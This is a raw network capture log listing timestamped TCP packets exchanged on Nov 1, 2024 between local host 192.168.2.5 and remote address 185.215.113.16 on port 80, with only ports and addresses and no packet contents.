Nov 1, 2024 05:52:27.971390009 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.971398115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971404076 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.971448898 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971462011 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.971462965 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971477985 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971493006 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971507072 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971513987 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.971556902 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.971560001 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971573114 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971592903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971597910 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.971642971 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.971662045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971677065 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971690893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971703053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971715927 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.971716881 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971740961 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.971899986 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971913099 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971927881 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971941948 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971946001 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.971976042 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.972002029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.972064972 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.015717030 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.015729904 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.015743017 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.015788078 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.015799999 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.015814066 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.015822887 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.015860081 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.015860081 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.015961885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.015974998 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.015988111 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.015999079 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016011000 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016028881 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.016028881 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.016192913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016210079 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016222954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016233921 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016239882 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.016247034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016261101 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.016279936 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.016314983 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016328096 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016340971 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016376019 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.016560078 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016571045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016582966 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016612053 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.016632080 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.016745090 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016880035 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016891956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016905069 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016916990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016928911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016932964 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.016932964 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.016938925 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016954899 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016983032 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016993046 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.016999960 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.016999960 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.017005920 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.017018080 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.017055035 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.017055035 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.017118931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.017131090 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.017142057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.017249107 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.017258883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.017270088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.017282963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.017296076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.017307997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.017311096 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.017311096 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.017359972 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.023444891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023458958 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023473024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023485899 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023504972 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023519039 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023526907 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.023538113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023551941 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.023574114 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023588896 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023602009 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023616076 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.023616076 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.023617029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023631096 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023644924 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023659945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023674011 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023688078 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.023688078 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.023689032 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023703098 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023713112 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.023715973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023731947 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023736000 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.023745060 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023757935 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023772955 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023786068 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023792028 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.023792028 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.023799896 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023814917 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023837090 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.023837090 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023849010 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.023853064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.023895025 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024035931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024050951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024065971 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024085045 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024091005 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024111986 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024125099 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024139881 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024152040 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024166107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024179935 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024182081 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024182081 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024194002 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024209023 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024220943 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024230957 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024235010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024243116 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024249077 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024261951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024276018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024291992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024295092 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024295092 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024307013 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024322033 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024334908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024349928 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024357080 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024357080 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024363041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024378061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024393082 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024394035 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024418116 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024450064 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024450064 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024496078 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024507046 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024584055 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024708033 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024722099 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024735928 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024749041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024764061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024772882 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024772882 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024779081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024791956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024806023 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024806976 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024820089 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024836063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024848938 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024848938 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024863005 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024877071 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024888992 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024892092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024907112 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.024926901 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.024926901 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.025404930 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.025484085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.025497913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.025511026 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.025523901 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.025527954 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.025537014 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.025551081 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.025551081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.025566101 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.025579929 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.025593996 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.025607109 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.025607109 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.025608063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.025621891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.025635958 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.025641918 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.025698900 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.026158094 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.047497988 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.047512054 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.047527075 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.047542095 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.047581911 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.048013926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048161983 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048176050 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048228025 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.048398018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048410892 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048425913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048444986 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048446894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.048456907 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.048501015 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048516035 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048527956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048542023 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.048543930 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048557997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048571110 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048578024 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.048584938 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048598051 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.048599005 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048624039 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.048645020 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048656940 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048671961 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048681021 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.048686028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048698902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048717976 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.048738003 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.048787117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048800945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048814058 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048826933 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048841000 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.048841953 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048855066 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048867941 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048882008 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048891068 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.048891068 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.048897028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048912048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048926115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.048940897 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.048966885 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.049036026 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.049047947 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.049067020 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.049079895 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.049091101 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.049114943 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.060204029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.060218096 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.060230017 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.060261011 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.060297966 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.090126991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090138912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090198994 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.090272903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090286016 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090302944 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090317965 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090338945 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.090359926 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.090439081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090451956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090466022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090480089 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090512037 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.090512037 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.090729952 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090743065 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090758085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090776920 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090810061 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.090810061 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.090892076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090904951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090919018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090933084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.090956926 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.090977907 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.091046095 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.091058969 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.091156960 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.091208935 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.091240883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.091254950 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.091269016 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.091280937 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.091283083 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.091296911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.091317892 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.091332912 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.091335058 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.091348886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.091351986 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.091362953 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.091375113 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.091398001 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.132675886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.132761002 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.132807016 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.132834911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.132848978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.132862091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.132875919 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.132909060 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.132909060 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.133296967 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133311033 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133323908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133337975 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133348942 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.133351088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133368015 CET	80	49712	185.215.113.16	192.168.2.5
